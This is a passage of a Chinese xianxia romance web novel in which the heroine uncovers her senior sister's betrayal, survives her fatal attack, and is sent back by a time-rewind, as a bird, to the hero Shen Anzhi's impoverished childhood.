他指尖掐诀,周身蠢蠢欲动的魔气,瞬间尽数敛入。 在心魔被镇心海后,他修为精进,瞒天过海的本事连鹤门宗号称固若金汤的护山大阵都未能窥破分毫。 夫人执意要独自前去,他自然遵从。 只是,夫人可未曾说过,不许他悄悄尾随护她周全啊。 * 姜喻步伐极快,她看着鹤门宗熟悉的景象,一瞬百感交集。 若是和顾师姐误会一场最好不过。 她联想到刚刚重新被推翻的世界观,不经意思索,原著《捉妖》所写的到底有几分真假? 甩了甩脑袋,纷乱的念头强行压下。 姜喻服下易容丹,寻了个山脚面善的普通弟子几番客套周旋,终于探听到一句:“顾师姐近来可好,怎么不见师姐身影?” 弟子扫了眼姜喻身上再普通不过的弟子服,毫无防备地应道:“你找师姐指导剑法来迟一步,师姐她前脚刚离了宗门,下山除妖去了。” “多谢。”姜喻若有所思地点了点头,转身悄然寻至顾疏雨的居所。 四下无人,她悄然潜入,推开木门。 屋内陈设简洁,纤尘不染,一应物件皆打理得井井有条,透着近乎刻板的清冷。 她目光掠过,本欲就此退去,衣袖不慎带倒了床边矮几上一盏烛台。 姜喻眼疾手快将它抓住,竟在离床榻最近之处,捕捉到一缕时有时无的气息。 是属于她自身的力量波动。 方才乱跳的心,陡然沉了下去,她千万个想法,希望不是顾疏雨的念头,此刻都刻着板上钉钉的无情。 喉间发紧,姜喻忆起原著所提女主密室入口在那幅悬挂的师祖画像之后。 她不再犹豫地按向床头扶手,墙壁无声滑开,露出一道仅一人行走的入口,一层流转着微光的结界拦在外面。 姜喻凝神聚力正尝试破除,门外陡然传来一声脚步。 第78章 姜喻心头一凛,瞬间闪身缩进角落的阴影里,紧贴着墙壁,小心翼翼地屏住呼吸。 门被从外推开,进来的是个负责洒扫的小弟子。她疑惑地探头张望,见顾疏雨的屋内确实空无一人,小声嘀咕了几句带上门离开了。 直到脚步声彻底消失,姜喻才从暗处小声地走出来,暗松了一口气。 毕竟现在她面上依旧是个“死人”。 姜喻指尖灵光流转,迅速破开结界,闪身进入了密室。 密室内光线昏暗,姜喻一眼瞧见一悬着的物件,时不时撒发着绯红的微光,赫然是雕刻着重明鸟样式的令牌。 只盼着万万不要是顾疏雨,如今铁证如山,好似当头一棒。 姜喻想破脑袋都百思不得其解,在她心目中最好、最值得信任的原著女主。 师姐为何要藏着她的书信和物件? 她五指收拢,指甲几乎嵌进掌心,深深吸了一口气,试图压下心底翻涌的不安。目光落在那枚令牌,随即警惕地扫过整个密室。 与外室截然不同,此处带着陈旧尘埃味道,充斥着混乱,货架上瓶罐与书册随意散落,尘埃在微弱的光线里浮动。 姜喻步伐极快,在室内找了一圈,并无信笺的踪迹。她视线掠过昏暗的角落,鬼使神差地靠近,地上是一件随意丢弃的玄色长袍,以及…… 那个面具! 目光紧张地触及在那张熟悉的面具上,只觉得一股寒意瞬间窜遍四肢百骸,连呼吸都停滞了。 天乩城?是那个面具人! 她下意识地捂住唇压下惊呼,踉跄地转身要逃离这地方。 身后一道声音凉凉陡然响起,挟着隐秘的杀意,在密闭的空间里幽幽回荡:“谁人敢闯此地,真是胆子不小。” 姜喻身形骤然僵住,循着冰冷的声线猛地回身。凝神望去,一道身影不知何时悄无声息地立于身后,正用一双晦暗不明的眸子冷冷地看着她。 陌生寒意刺得姜喻心头一颤,难以置信地瞪圆了亮眸,声音微颤:“顾、顾师姐?” 来人自阴影中踏前半步,方才隐在暗处难辨雌雄的模糊感散去,却更显疏离。 顾疏雨眸色沉了沉,看清是姜喻时呼吸几不可察地一窒,唇角勾起自嘲一笑:“师妹这是,凭空复活了?” 姜喻喉头滚动,艰难地咽了口唾沫。 顾疏雨的反应太过诡异,那双曾对她带着几分暖意的眸子,此刻只剩下平静,平静得让人心头发怵。 “我还活着。”姜喻压下翻涌的疑虑,尽量让声音显得平稳。 想到天乩城时那面具人毫不留情的狠辣手段,眼前三年后再见全然陌生的师姐,只让她觉得心惊。 顾疏雨并未接话,随意拂开一张积满灰尘的旧椅坐下。 她微微垂眸,清冷绝色的侧脸在昏暗光线中泛着一丝寒意。再抬眼,目光锐利,话语斩钉截铁,不留半分余地道:“原来如此,你也重生了?” “师姐在说什么?” 什么叫“也”重生了? 姜喻语气里是真切的纳闷,心底那根警惕的弦瞬间绷紧,这番话压得她几乎喘不过气。 她下意识地后退了半步。 “师妹,别装傻了。”顾疏雨的声音微冷。 那双眼眸依旧清冷,可曾经对姜喻才有的三分暖意,此刻已荡然无存。被一种全然陌生的、毫不掩饰的厌憎彻底取代。 姜喻脑中警铃大作,每一根神经绷紧:“我确实听不懂师姐的话……” “听不懂也罢,听懂也罢,”顾疏雨的声音陡然降至冰点,“今日,我不会让你活着回去。” 话音未落,秋光剑已然出鞘。森寒剑光裹挟着凌厉杀机,几乎是瞬息之间便撕裂空气,直刺姜喻面门。 姜喻瞳孔骤缩,仓促间调动的妖力在身前凝成一道护身结界。然而只听得“咔嚓”一声脆响,结界化作点点星屑消散。 生死关头,凭着本能,狼狈地向旁侧扑倒。 剑风擦着姜喻的耳际掠过,削断了飞扬的一缕发尾。 顾疏雨的剑招又快又狠,招招致命,再无半分昔日守护之姿。 姜喻狼狈躲闪,心中惊骇交加。 她见过这柄剑为她一次次挡下妖的致命攻击,却从未想过,有朝一日它会对准自己。 “师姐!到底何事我们不能好好说说?师姐!”姜喻嗓音带着轻颤,在凌厉的剑影中再一次急切地呼唤,试图唤回一点点旧日情分。 姜喻刻意伪装的灰白身影,与记忆深处那个在滂沱大雨中,固执地为她撑伞的小姑娘身影,猝不及防地重叠在了一起。 剑尖因这一声呼唤,凝滞了一瞬,顾疏雨执剑的手难以自制地微微颤抖。 顾疏雨想不明白为何一个人会突然性格大变? 更不明白为何她死后,会再一次出现在她面前? 强行封存的,混杂着温暖与陌生的记忆,如汹涌的潮水将她淹没,眸底晦暗化作两股纠缠的影。 “别叫我师姐!”顾疏雨厉喝出声,身形猛地一晃,手中秋光剑嗡鸣震颤,剑尖直逼姜喻咽喉。齿缝间挤出字句,淬着恨意与绝望: “若非你执意刺杀沈安之,他怎会倾覆人间,我们一死一疯……一死一疯!这结局我看了数遍,重来千百遍又有何用。镜花水月,一场空妄!” 顾疏雨字字泣血,句句剜心,眼神聚焦在她身上恨不得活生生用眼神将她杀死。 姜喻指节攥得发白,心脏忍不住狂跳。 顾疏雨崩溃嘶喊的分明是《求妖》的原著剧情,“她”曾说过妄图杀了沈安之,但结局是时间逆转。 所以……顾疏雨被困在宿命轮回里的重生者? 一股钻心的剧痛,如利斧劈开顾疏雨的灵台。她单手捂住头,指尖深陷发间,纤瘦的身躯因灵台上的撕扯而剧烈颤抖。 半边脸颊,一滴泪珠无声滑落,浸湿苍白的肌肤,脆弱得令人心碎;而另一半脸,却扭曲着近乎疯魔的阴鸷与痛苦。 那双盈满泪水的眸子抬起,如同困兽般睨向姜喻:“你、你,快走!” 过往与重生后的不同记忆诞生的意识碰撞在一起,化作两股纠缠的力量撕扯身躯。 两股意识在心海缠斗,谁也互不相让。 “师姐,真不是我干的。”姜喻的头摇得像拨浪鼓,眼神无声寻找着离开的机会。 天知道这口从天而降的黑锅有多沉。 “姜喻”倒是痛快作死,留她这么个穿书的倒霉蛋百口莫辩,有口难开。 对着眼前濒临崩溃的顾疏雨,她纵有千言万语,也堵在喉咙口,一个字吐不出。 趁着顾疏雨无力顾及的刹那,姜喻退后一步,身影逐渐模糊,原地只留下一道仓促如水波般晃动的残影,她真身则利用隐匿符朝着唯一的密室出口掠去。 “砰!”一声闷响,无形的气墙在姜喻面前显现。 姜喻收势不及,狠狠撞在结界壁垒之上,震得她眼冒金星,捂住红肿的额头。 完了! 一道剑气破空,她指尖的妖力尚未凝聚的电光石火间,一道玄色身影如鬼魅般凭空出现在她与森寒剑锋之间。 没有半分征兆,一缕强悍的剑气先一步弥漫开来。 “铿——” 刺耳的金铁交鸣声炸裂空气。 一柄铜钱剑后发先至,格开了那柄直刺姜喻的凌厉的秋光剑。 剑锋相击,迸溅出刺目的火花,映出来人昳丽无双的侧脸,和他唇角似有若无的笑意。 沈安之眸色深沉瞥了顾疏雨一眼,神色带了几分复杂。 转回眸见姜喻是快溢出的关切,眸光直勾勾落在她泛着红肿的额头,紧锁眉头快步靠近,温热指尖极轻地碰了碰伤处,声音裹着焦灼:“疼吗,夫人?我来迟了。” 姜喻被他拢在阴影里,摇头道:“不疼。安之,你当心。师姐就是天乩城那个戴面具的,现在的她不对劲。” 姜喻仰面急切地提醒道,“你小心些。” “好。” 顾疏雨双目被映入眼帘的一幕刺中,记忆中的方微云也会如此这般对她…… 目光死死锁住沈安之,眼底最后一丝清明瞬间被翻涌的血色吞没,“沈、安、之!” 灵台之上象征执念的漆黑身影彻底压垮了摇摇欲坠的白影,前世记忆轰然地炸开,与眼前这张曾是温润无害的脸庞重叠。 眼瞧着她带着滔天恨意直刺他心口一剑,沈安之身形微侧,似狼狈地露出破绽,唇角微扬,“顾师姐,别来无恙。”似乎是个再简单不过的问候,可深不见底的眸子,笑意未及分毫。 “呵,无恙?”她喉间溢出冷笑,秋光剑爆发出刺目寒芒,剑势如狂风暴雨,招招狠绝,直指沈安之露出的破绽与面门。 “原以为你此世必陷心魔,我定能亲手了结你,竟在风云城让你金蝉脱壳。”她溢出低语,每一个字都满是不甘。 沈安之眉峰几不可察地一蹙,顾疏雨的状态远超他的预料,很是奇怪。 那眉心隐隐约约透出一缕魔气,混杂着一种要同他玉石俱焚的毁灭气息。 “顾师姐恨极了我?”沈安之散漫地挑了挑眉,漫不经心地套话着。 顾疏雨回忆起取走姜喻信件和令牌后,她本该趁此时机囚禁杀了他。 可为何人去楼空?!被谁救走?! 她一瞬间被点燃的怒火。 “你别太得意,师弟。”冷笑一声,顾疏雨执剑对准他,“补灵蓝,剧毒无比,你无药可医。你猜是谁放出的消息?”思及此处,顾疏雨嘴角上扬的弧度,越发冷的彻骨。 姜喻错愕地看向顾疏雨,居然连她的死都算计了进去。 沈安之气息一乱,剑气纵横,寒光交错。 两道身影在逼仄密室内碰撞又分离,衣袂翻飞间带着破空声。 倏然,沈安之手腕以一个极其刁钻的角度一抖,“铮”的一声脆响,顾疏雨手中的秋光剑脱手飞出,深深钉入远处的石壁。 “这一次,终究还是迟了吗……”顾疏雨踉跄一步,眼底血光却越发灼热。 她猛地抬手,十指翻飞,一道肉眼可见的冰蓝结界瞬间笼罩四方。 紧接着,顾疏雨丹田处爆发出刺目的金光,浑圆的金丹竟被生生逼出体外,悬于三人头顶。 “师姐不要!”姜喻万万想不到顾疏雨为了杀了沈安之,宁愿玉石俱焚寄出金丹。 “安之,当心!”姜喻的妖力配合着存在令牌中的妖力凝聚出攻击,袭向顾疏雨。 可顾疏雨毕生修为的力量恐怖地如洪流般席卷开来,寒冰之气从她脚底向密室四周爆发。 “不好!”沈安之瞳孔骤缩,余光看到姜喻的身影,只身挡在她身前。 魔主的威压再不掩饰,与顾疏雨力量狠狠地碰撞在一起。 沈安之再不留手,周身魔气爆发的一瞬,引动鹤门宗上空紊乱的天地灵气形成一道冲击撞向顾疏雨的结界。 第79章 冰蓝色结界应声碎裂的刹那,一道黑影如鬼魅般掠至姜喻身边,卷起她便欲遁走。 “阿赖,带她走!”沈安之身影已化作一道残影,阻止顾疏雨金丹破裂的力量。 可顾疏雨似早有预料,上前捏碎的刹那,用尽最后一丝力量狠狠将姜喻双脚禁锢在原地。 此番冲击袭来时,姜喻还未被卷到阿赖脊背上,眼前骤然一亮便彻底陷入黑暗。 仅有一丝游离的感知整个人被一个温热拥在怀中,一双手臂难以抑制的颤抖,将她死死箍进怀中。 怀抱滚烫,□□得几乎要将她揉碎,压抑的呜咽,混着灼热的呼吸沉沉砸在她颈侧。 沈安之嗓音喑哑地彻底,几乎说不出一句完整的话。只是不停地,重复地念出她的名字:“姜喻,姜喻……” 耳畔剧烈的嗡鸣声中,她似听到了沈安之在猛烈的咳嗽,温热的液体猝然滴落,灼着她的耳垂,一颗颗滚烫地滑向颈窝。 烫得她细微地战栗着。 安之…… 姜喻唇瓣无声开合,用尽最后一丝气力想唤出声,却只逸散在空气里。 眼角沁出的泪珠洇在眼角,她指尖无力垂落,搭在沉寂的心口。紧绷的身形松懈下来,意识如烟般即将散尽。 姜喻在彻底沉入无边黑暗的刹那,刻入骨髓的熟悉声音一字一顿响起: 最、后、一、次、回、溯、已、成。 ****** 姜喻是被一股几乎贴面的灼热硬生生烫醒的。 意识刚聚拢,一个带着孩童天真又残忍声音钻进耳朵:“这么瘦能吃几口肉?” “管它的,能吃就行!这附近在乱的在打仗,出了这山,哪还找得到一口吃的?”另一个声音 同样稚嫩,却格外沙哑。 姜喻用尽全身力气掀开沉重的眼皮。 视线模糊又重合,映入眼帘的是一个极其怪异的仰视角度。 两道巨大的阴影笼罩下,这情景如此熟悉…… 恍惚间,姜喻记起自己刚变成雏鸟时,也曾这样仰望过沈安之。 火舌贪婪地舔舐着空气,热浪扭曲了视线。 两个约莫八九岁的孩子蹲在火堆旁,正拨弄着柴火。她发出的细微声响被噼啪的燃烧声盖过,并未引起注意。 剧痛比思绪更快地席卷来,头晕目眩中,姜喻终于彻底回归伤痕累累的鸟躯。翅膀传来撕裂般的痛楚,忍不住虚弱地哼了一声,倒抽着冷气试图抵抗。 不行。 她奋力动了动身子,左翅传来钻心的疼,果然伤得不轻。 她努力歪着小脑袋,想看清四周。 火光摇曳的山洞,陌生的孩童…… 现在是什么鬼情况? 说好的回溯呢? 沈安之跑哪去了? 姜喻心底小火苗差点被现实这一盆冷水浇灭,但她咸鱼的本能立刻反弹。 她绝不信沈安之会嘎嘣一下就把她丢在这种鬼地方,当务之急是绝不能真成了这两个小鬼的烤鸟串。 姜喻屏息凝神,调动妖力。一股汹涌澎湃的力量瞬间在四肢百骸奔涌,可偏偏像被无形的壁垒禁锢住,无论如何都冲不出体外。 急得她绒毛下的皮肤恨不得沁出了汗珠。 就在一只脏兮兮的小手即将碰到她羽毛的前一瞬,憋屈的妖力终于冲开了一丝缝隙,她使用了瞬移术。 天旋地转间,姜喻短促的“啊”了一声,不是安稳落地,而是直直砸在一个硬邦邦,带着一点酸腐汗臭的“东西”上。 完!蛋!了! 姜喻眼前发黑,小脑袋嗡嗡作响。 求生的本能让她顾不上疼,立刻扑腾着受伤的翅膀,用小爪子在那臭烘烘的“地面”上又蹦又跳。 一只瘦弱的绯红幼鸟,毛茸茸的小脸先着地,摔得晕头转向,却飞快地用小爪子刨着地面,跌跌撞撞又速度奇快地往前冲。 还没跑出两步,一只骨瘦却布满细小伤口的小手从天而降,捏住了她的后颈,像拎起一只鸡崽。 她整只鸟被提溜到半空,背对着他。 姜喻吓得绒毛炸开,正想调动妖力给他一翅膀。小手一转,猝不及防地撞进了一双熟悉的眼眸里。 漆黑,幽深,像不见底的寒潭。 沈……安之?! 她记起齐三娘幻境里见过的画面,眼前这脏兮兮,头发乱如蓬草,灰扑扑衣衫下隐约可见青紫伤痕的小小少年。 是幼年版的沈安之! 他眨了眨眼,似乎有些困惑。 以往那些飞禽走兽见了他,不是瑟瑟发抖就是逃得飞快,眼前这只小红雀,怂得送上门不说,炸毛的样子……竟有点滑稽? 红的像滴血,羽毛蓬松柔软,小小一团捧在手里,该是让人心生暖意的小雀。 如果忽略她翅膀上刺目血迹的话。 沈安之蹙了蹙眉,那双早慧的黑瞳里闪过一丝与年龄不符的考量。 竟没有像对待平常猎物般收紧手指,反而小心翼翼地将她放在了破庙的搬来当作垫子的石块上,转身离开了。 姜喻惊得连疼都忘了,脑瓜里塞满了问号:说好的回溯最多半个时辰呢?这最后一次回溯是抽风嘛,怎么直接回溯到沈安之的童年了…… 还没从巨变中回神,就见小小的身影又跑了回来,手里小心翼翼地捧着几片宽大的翠绿荷叶,上面堆着些捣碎的草药,散发着清苦的气息。 缩小版的沈安之蹲下身,专注地处理她翅膀的伤口。 姜喻仰着小脸,看着他近在咫尺,稚嫩却过分认真的侧脸,鼻尖萦绕着草药和他身上混合着汗味与尘土的气息。 她一时间竟有些恍惚。 知晓沈安之童年时光过的不愉快,她没想到竟是这般不如意。 小红雀忍不住转动脑袋,好奇又心酸地打量着这方寸之地。 雨线穿过残破的瓦顶,在积水的泥地上砸出连绵的闷响,蛛网垂挂,神像斑驳。 漏雨的破庙阴冷潮湿,与她无尘仙山幻境中所见一模一样。 沈安之十岁前唯一的庇护所…… 如一根被狂风随意抛掷的野草,沈安之是如何在逼仄的破败里,挣扎着活到如今八九岁光景的? 姜喻心疼的水光晃动在眼眶。 沈安之背靠着褪色的神龛,指尖捻着一小撮碾碎过的草药,声音低哑,像是自言自语,又像是对它说: “这方子是和那疯乞丐学的,他死了有……四,不对,五年了吧。不知对你这种小东西得耗上多久?” 姜喻眨了眨眼,下意识想开口安慰,喉间却只溢出两声清脆的鸟鸣。 她一愣,随即福至心灵,对着沈安之点了点小脑袋。 沈安之原本晦暗的眸子骤然亮了一瞬,像是投入石子的死水,漾开细微的涟漪。 小红雀竟能听懂人言? 这认知取悦了他,唇角下意识地想要上扬。可他似乎早已遗忘了笑的本能,弯起的弧度显得格外生涩和僵硬。 姜喻看在眼里,心头蓦地一酸。 疼的滋味不好受,她扑棱着脆弱的翅膀,挨挨蹭蹭地走了两步,主动将毛茸茸的小脑袋贴在他的手腕上,脑袋轻轻蹭了蹭。 温软的触感终是让沈安之嘴角的僵硬融化,绽出一个干净的笑意。 姜喻满意极了,抬起纤细的鸟爪,在他手背上轻轻拍了拍,无声的鼓励。 鸟爪落下,轻如鸿毛,不痛不痒。 沈安之却觉得手背上微微有一些发麻,细微的痒意一路悄无声息地挠进了心尖最深处,带来一阵陌生的悸动。 “真是古怪……”沈安之喉结滚动了一下,嗓音压得更低,带着毫不掩饰地审视与困惑,“和你一般大的鸟雀走兽,见了我都避之不及。只有你……” 他修长的手指带着试探,轻轻落在小红雀的脑袋上,指腹摩挲着细软的茸毛,眼神带着戒备与不适,“怎么偏就不怕,还敢靠近?” 然而,小小的,温热的身体依旧固执地贴着他的手腕,传递着莫名的依恋。 沈安之想要推开她,呼吸屏住。 看出他强装的戒备,姜喻不依不饶。 沈安之难以按捺的雀跃,终究化作眼底细碎的微光悄然亮起。 姜喻过了段,睡醒有果吃,睡着前有人抱着睡的好日子。 这些,自然是多亏姜喻发挥小雀身、厚脸皮,不依不饶得来的。 不过月余光景,在沈安之的喂养下,姜喻不仅圆润了几分,连翅膀上的伤痕也尽数褪去,只余下新生的柔软绒毛。 缩小版的沈安之正对着一盆清水梳理湿发,眼风扫见熟悉的影子扑棱着落在他眼前,他指尖一顿,因她迟迟未归而悄然滋生的不悦感倏地散了。 小小少年板起一张稚气未脱却极力模仿大人严肃的脸,无奈叹道:“你倒准时。” 他伸手将水珠沾湿贴在额角的发丝拂开。 姜喻歪了歪毛茸茸的小脑袋,伸出爪子,轻轻点了点他尚在滴水的发梢,“啾”了一声,带着点催促意味。 沈安之眼底闪过一丝笑意,取出他剪裁,洗净的旧衣下做的布巾,将湿发一点点拭干。 发丝甫一干爽,姜喻迫不及待地凑了上来,亲昵地蹭着他的颈窝。 暖烘烘、毛茸茸的一小团,带着独有的馨香。 今夜姜喻得寸进尺,寻了个最舒服的姿势。整个小雀身子紧贴着他的脸颊,沉入梦乡。 沈安之身形不动,微微侧眸,视线落在脸颊边这团毫无防备的小红雀。 清浅的呼吸拂过皮肤,他这才惊觉,不知从何时起,自己竟养成了每日必得将自己拾掇得清清爽爽的习惯。 只因这小东西挑剔得很。 他是怎么发现了……得是初遇的小红雀的翌日,沈安之不过去河边洗了把脸,将乱糟糟的头发整理了一番,姜喻当晚便窝在他肩 头。 如此以往,她偶尔还会耍赖般在他胸口滚作一团,更多时候便如此刻,贴着他的脸颊睡去。 极淡笑意在唇角悄然扬起。 他还发现,小家伙看似懒散懵懂,却总有些奇异的“运气”。 有时是林间滚落、不知何人遗落的小小包裹,有时是撞晕在树桩旁的肥美野兔…… 自她出现,他的破庙日子竟也渐渐有了些意想不到的“生机”。 指尖挠了挠她颈边柔软的绒毛,沈安之平生萌生出一个想法:小雀这般粘他,若是一直这样就好了。 不知沈安之心里活动的姜喻,此刻正呼呼大睡,无声蔓延在体内的妖力席卷至全身上下。 待姜喻睡意朦胧睁开眼,发现抬手不是翅膀,而是一双稚嫩的手时吓了一跳。 她这是化形了! 姜喻吓得在沈安之身侧一动不敢动,见沈安之长睫微颤,急忙地变回小雀身,在他醒来睁开眼前,匆匆闭上眼装睡。 第80章 姜喻紧闭双眸,羽翼微收。 横竖是只小雀,小小少年版的沈安之,总该认不出她吧? 破庙里尘埃浮动,漏光的瓦砾下,小小少年眼睫轻颤,惺忪醒来。 他侧眸瞥见蜷在身旁的小红雀正用翅膀遮着眼睛,默不作声地抬起发酸的手臂,替她挡去了斜刺漏下的阳光。 阴影落下,姜喻立刻“啾”地一声,佯装初醒睁开眼。扑棱着翅膀轻盈落在他手背上,仰起小脑袋看他。 唔,原来他小时候就这般可爱了。 她忍不住偷笑,细软的红色绒毛随着笑意一抖一抖。 沈安之坐起身,小红雀从他手臂一路蹦跶到颈窝,亲昵地蹭了蹭他。 沈安之眼嘴角微扬,随即又绷起脸,故作严肃地轻咳一声,小心翼翼将她捧起,安置在残破的佛龛上。 “站好了,”他声音带着点刚醒的沙哑,“我去打水。” 姜喻小脑袋一点,目送他清瘦的身影匆匆消失在庙门外又匆匆归来。 沈安之用洗净的荷叶兜着清水和几颗野果。 她啄了几口,歪着头看他用一柄自制的简陋木梳,笨拙梳理着披散的长发,在用一根木簪挽着。 “啾!”她轻唤一声提醒他自己离开,小巧的身影化作一道红影飞出破庙。 飞至无人山涧,姜喻翩然落地,周身红光流转,瞬间化回人形,是一个藕粉色裙衫,粉雕玉琢的六岁小姑娘。 姜喻用瞬移术,身影已至两山之外尚存人烟的小镇。 这小镇饱经战火,十室九空,只余零星铺面勉强生活着。 能用人形行走就是方便。 她虽看着不过是个半大的丫头,却比当鸟雀时能干多了。 扑闪着亮晶晶的眸子,顺手将猎来的几只山鸡野兔换了铜钱,用余钱买了些耐放的米粮。到时候给沈安之藏在包袱里,然后故技重施当作是鸟雀的她误打误撞找到的。 打定主意,姜喻路过一个货摊,一条绯红如霞的发带吸引她的视线。 沈安之用这个束发,一定好看。 姜喻捏着新得的发带,稚气未脱的脸上绽开笑靥,回头望了望深山破庙的方向。 行至镇外僻静处再次掐诀瞬移,身影悄然出现在破庙附近的山道上。 姜喻正要变回鸟雀,听到破庙的位置传来器物碰撞,与几声粗粝的呵斥。心头一紧,再顾不得许多,提着裙摆朝庙门疾奔而去。 “说!这些是不是你偷的?” 破败的庙门外,残阳如血。 几个约莫十五岁的粗布短衣的少年身影拉得老长。他们团团围住中间的身影。与姜喻暗自照料下穿着干净合身的沈安之,几人对比鲜明。 沈安之此刻粗布衣衫沾满尘土,唇角沾着刺目的鲜红,显然是刚经历了一场撕扯。 他紧紧护住怀里的灰色包袱,一双眼神恶狠狠地瞪向想强抢他东西的少年们。 一个少年猛地推搡他,拳头狠狠砸向他腹部:“就是你偷的,这东西我认得!” “咳……不是偷!”沈安之闷哼一声,剧痛让他瞬间蜷缩,踉跄后退,却倔强地护着包袱。他抬起眼,冷冷盯住动手的少年,“与你们……无关。” 他的目光让少年莫名一怵。 几人互看一眼,戾气横生,拳头再次如雨点砸下。 沈安之双拳难敌,只能弓起背脊将那包袱死死护在身下,任凭拳脚加身。 灌木丛后,匆匆赶到的姜喻看到这一幕,小脸瞬间涨红,粉拳捏得咯咯作响,火直冲脑袋。 “住手!”清脆的童音带着怒意,一道藕粉色的疾风冲入人群,手中随手折下的树枝带着破空声,“啪”地狠狠抽在打的最凶那个少年背上。 “哎呦!”少年痛叫一声,蜷缩着滚倒在地,涕泪横流。 突如其来的变故镇住了其余几人。 姜喻小小的身影挡在沈安之前面,树枝一横,亮若星辰的眸子瞪得极圆,扫视着这群比她高出一截的少年:“谁敢再动他一根手指头试试!” 藕粉锦缎在残阳下流光溢彩,衬得那张精致小脸玉雪可爱,偏偏此刻绷得紧紧的,怒意凛然。 几个少年被她华贵的衣着和不要命的气势慑住,互使眼色,竟是一哄而散。 姜喻随手丢了树枝,急切地回身。只见沈安之被推搡得靠在斑驳的庙墙上,喘息未定。她下意识伸出手想扶他,指尖触了个空。 沈安之侧身避开,动作间牵动了伤口,闷哼一声。 他垂下眼睫,飞快地在脏污的衣襟上蹭了蹭沾满灰土的手,咬着牙自己扶着墙壁缓缓站直,始终低着头,声音低哑得几乎听不清: “……多谢。” 姜喻见他目光躲闪,心下微诧,垂首勾颈,直直撞进少年慌乱的眸子里。 沈安之捏紧了拳头,下意识开口问:“你,你做什么呀!” “我什么都没做呀,方才我不是还帮了你吗?”六七岁的小姑娘声音软糯,如初绽的花苞,眉眼精致得不像话。 沈安之呼吸一窒。 心底隐秘角落被她窥破,让她瞧见最狼狈的模样,羞赧混着自卑瞬间灼烧起来,直冲头顶。 沈安之强装镇定,脸颊却不受控地涨得通红,一把抱起地上几乎散落的东西,头也不回地扎进破庙。 那些都是她为他找寻些的物件。 姜喻看着小小少年近乎是落荒而逃的背影,心头莫名泛起一丝微妙的酸意。 不过顺手救了他一回,至于脸红成这样? 姜喻环起手臂,正思忖着要不要追进去,却见少年已重新出现在破庙门口。 他脊背绷得笔直,立于残破的石阶之上,脸上水痕未干,显然是匆匆收拾过一番。 “多谢。”喉结滚动,挣扎片刻,声音低得几乎被风吹散,“方才你救了我。” 沈安之深吸一口气,目光依旧不敢直视她,“你叫什么名字?” “姜喻。”姜喻眉眼弯弯,笑着眨了眨眼。 沈安之记牢了,这可是你未来夫人的名讳。 既然她都回溯到了这里,便重来一次。将这朵尚未彻底染黑的黑莲花洗白,再安然送进鹤门宗去,以后做个自保又强大的修士。 主意既定,姜喻唇角笑意更深,提起裙裾跑上台阶,凑到他面前。 明明年长三岁,可沈安之常年食不果腹,只靠些野果勉强维生,身形单薄得可怜,竟只比她高出小半个头。 姜喻只需微微仰起脸,便能将他因她靠近的紧张与窘迫尽收眼底。 站定在一米外,伸手轻轻拽了拽他洗得发白的旧衣袖,故意放软声音显得可怜兮兮,“我迷路啦,你收留我一晚好不好?” “我这破庙太小。”他声音干涩,想移开目光却不舍得错过她的妍丽的眸。 “我又不是大佛。”姜喻立刻反驳,小脸皱成一团,透着委屈,“我很小的,吃得也少。况且我刚刚才救了你,总不能叫我露宿街头吧。” 沈安之眸底挣扎了几下,目光扫过她的眉眼,似乎要将她深深记住。 最终点了点头,侧身让开了路。 姜喻立刻蹦跳着进了破庙。 终于以人身视角看着熟悉的一切,所有物件恢复了正常大小。姜喻故作好奇地四下张望,指尖拂过积尘的供桌。 沈安之默立一旁,眸光晦暗地凝在娇小的藕粉色背影上。 其实,今日,他早醒了。 晨曦微光里,他侧目瞥见那片藕粉色的柔软裙裾,鬼使神差般,指尖小心翼翼地摩挲过。 被她枕着的胳膊酸麻,察觉到她长睫颤动即将苏醒,他闭上眼。在她缩回小红雀形态的瞬间,佯装惺忪睁眼,压下心底莫名的失落。 她是妖吧…… 80-87 第81章 在沈安之印象中,妖物多凶戾嗜血。 可像她这般娇憨可人的妖,实属罕见。 他的小雀为护他不惜显露人形,少年心头因这个念头一刹那又喜悦又沉甸甸的。 在一个尚不懂利弊权衡的年纪,沈安之只是固执地想着:这般惹眼的容貌,娇小的人儿,跟着他这一无所有的小乞儿,实在太危险了。 沈安之悄然在袖口拢紧了拳头,见姜喻终于看够了转过身来时,暗自深吸一口气,仿佛下了某种决心:“你,饿不饿?” 姜喻回眸,笑着用力地点头:“嗯,饿啦。” 暮色四合。 沈安之熟练地拢起枯枝,火苗跃起,舔舐着架上的鱼。那是他今日费了番功夫,扒了几只虫子才钓上来的。 鱼不过巴掌大,被他烤得滋滋作响,焦黄油亮,香气却寡淡。 姜喻小口小口地吃着,细嚼慢咽。 一是刺多扎人,二来,也是做给沈安之看。她瞥见他总习惯狼吞虎咽,好几次苦于自己是只小红雀,只能眼巴巴瞧着,此刻便有意放缓了速度。 少年很快啃完了自己那份,又摸出个野果,随手折了根枯枝,在积灰的地上漫无目的地划拉。 姜喻眼珠跟着那树枝游走,心头一跳。他竟用一手流畅清隽的小楷,端端正正写了个“姜”字。 “你的名字,”他指尖点了点那个字,侧头看她,“喻,是哪个喻?” 姜喻凑过去,指尖在他写的“姜”字旁,也认认真真画下个“喻”。 “这个喻。” 沈安之点点头,复又沉默下去。 姜喻眼珠一转,挪着身子挨过去,紧紧贴着他臂膀,少年脊背瞬间绷紧。 “好冷呀,”她偏过头笑意盈盈,眼底映着跳跃的火光,“这样热乎些。” 沈安之喉结滚动了一下,唇角扯出一个极不自然的上扬弧度,硬生生压下去,“如今五月初,算不得冷。” 姜喻不以为意地“嘿嘿”干笑两声,心道沈安之这小崽子年纪不大,小时候就是个油盐不进的木头。 她不恼,晃了晃小腿,自然而然转开话头:“诶,你怎会识得这么多字?还写得这样好?” 沈安之怔住,下意识抬首望向破庙西侧斑驳的墙面,目光空洞,仿佛穿透厚重的砖石,望见某个早已湮灭的影子。 他这年纪本该藏不住心事,可他早熟而沉默。若是旁人问,他定是置之不理。 眼角的余光扫过姜喻亮得惊人的眸子,知晓她是自己的小红雀,鬼使神差地开口:“……一个疯乞丐教的。” 声音低沉下去,手中枯枝无意识地在灰土里划着痕,“满口之乎者也、仁义道德,是个落魄书生。成日里嚷嚷着被人顶了功名,钱财两空,半疯半醒地在这破庙里捡到了我。” 枯枝在“死”字上狠狠拖出一道长痕。 “不过……他早死了。”沈安之垂下眼睑,浓密的睫毛投出一小片阴翳,“死了也好,不用再受罪……” 姜喻托着腮的身形慢慢坐直了。 火光映着小小少年清瘦的侧脸,强压下的孤寂和悲凉无声弥漫。心尖像是被细针密密扎过,泛起绵密的疼。 